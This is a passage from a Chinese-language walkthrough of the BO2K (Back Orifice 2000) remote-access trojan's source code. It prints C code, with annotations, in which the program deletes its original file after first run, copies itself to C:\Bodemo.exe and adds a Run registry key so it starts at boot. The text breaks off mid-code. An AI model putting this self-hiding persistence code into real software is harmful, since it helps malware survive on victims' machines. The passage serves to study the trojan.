|
BO2k源码分析(二)----命令循环机制(3) { GetOSVersion(); int nInstall=0; char *svRunRegKey; svRunRegKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"; // Check for file to delete //第一次运行BO2K时,BO会以自身全路径名作为参数启动BO拷贝版 //BO拷贝版根据这个参数删除BO自身。 //这段代码只有一次运行机会。 char *svCmdLine=GetCommandLine(); while(svCmdLine[0]!='\0') { svCmdLine++; if((*(svCmdLine-1))==' ') break; } if(svCmdLine[0]!='\0') //找到了要删除的文件,删除之 { while(DeleteFile(svCmdLine)==0) { if(GetLastError()==ERROR_FILE_NOT_FOUND) break; Sleep(100); } } // Get current module location char svFileName[512]; char svTargetName[MAX_PATH]; GetModuleFileName(GetModuleHandle(NULL),svFileName,512); lstrcpy(svTargetName,"C:\\Bodemo.exe"); // ----- 1: Check for installation ----- if(GetFileAttributes(svTargetName) != 0xFFFFFFFF) nInstall=1; // if(nInstall == 0) //还没安装BO..., 只在第一次运行BO时会出现此情况 { // Make copy of file while(CopyFile(svFileName,svTargetName,FALSE)==0) Sleep(1000); //Set startup key //将BO注册为系统启动时自启动。 HKEY key; if(g_bIsWinNT) { if(RegOpenKey(HKEY_CURRENT_USER,svRunRegKey,&key)==ERROR_SUCCESS) { RegSetValueEx(key,"Bodemo",0,REG_SZ,(BYTE *)svTargetName, lstrlen(svTargetName)); RegCloseKey(key); } } else { if(RegOpenKey(HKEY_LOCAL_MACHINE,svRunRegKey,&key)==ERROR_SUCCESS)
|